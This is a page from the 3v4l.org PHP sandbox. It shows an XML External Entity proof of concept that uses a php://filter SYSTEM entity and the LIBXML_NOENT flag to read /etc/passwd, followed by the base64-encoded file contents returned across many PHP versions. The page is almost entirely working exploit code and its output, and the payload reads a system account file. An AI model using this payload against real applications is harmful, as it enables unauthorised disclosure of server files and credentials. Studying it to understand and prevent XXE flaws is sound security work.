3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ] > <strony> <strona id="cccc"> <nazwa>bbbb</nazwa> <url>http://www.aaaa.pl/</url> <komentarz> &shp;</komentarz> </strona> </strony>'; $strony = new SimpleXMLElement($xml, LIBXML_NOENT); foreach($strony->strona->komentarz as $komentarz) echo "$komentarz\n";
Output for 7.2.29 - 7.2.33, 7.3.16 - 7.3.33, 7.4.3 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
cm9vdDp4OjA6MDo6L3Jvb3Q6L2Jpbi9iYXNoCg==
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 cm9vdDp4OjA6MDo6L3Jvb3Q6L2Jpbi9iYXNoCg==
Output for 5.6.38, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.25, 7.3.0 - 7.3.12, 7.4.0
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApiaW46eDoxOjE6YmluOi9iaW46L3Vzci9iaW4vbm9sb2dpbgpkYWVtb246eDoyOjI6ZGFlbW9uOi86L3Vzci9iaW4vbm9sb2dpbgptYWlsOng6ODoxMjptYWlsOi92YXIvc3Bvb2wvbWFpbDovdXNyL2Jpbi9ub2xvZ2luCmZ0cDp4OjE0OjExOmZ0cDovc3J2L2Z0cDovdXNyL2Jpbi9ub2xvZ2luCmh0dHA6eDozMzozMzpodHRwOi9zcnYvaHR0cDovdXNyL2Jpbi9ub2xvZ2luCm5vYm9keTp4Ojk5Ojk5Om5vYm9keTovOi91c3IvYmluL25vbG9naW4Kc3lzdGVtZC1qb3VybmFsLWdhdGV3YXk6eDoxOTE6MTkxOnN5c3RlbWQtam91cm5hbC1nYXRld2F5Oi86L3Vzci9iaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTkyOjE5MjpzeXN0ZW1kLXRpbWVzeW5jOi86L3Vzci9iaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxOTM6MTkzOnN5c3RlbWQtbmV0d29yazovOi91c3IvYmluL25vbG9naW4Kc3lzdGVtZC1idXMtcHJveHk6eDoxOTQ6MTk0OnN5c3RlbWQtYnVzLXByb3h5Oi86L3Vzci9iaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxOTU6MTk1OnN5c3RlbWQtcmVzb2x2ZTovOi91c3IvYmluL25vbG9naW4K
preferences:
159.41 ms | 404 KiB | 245 Q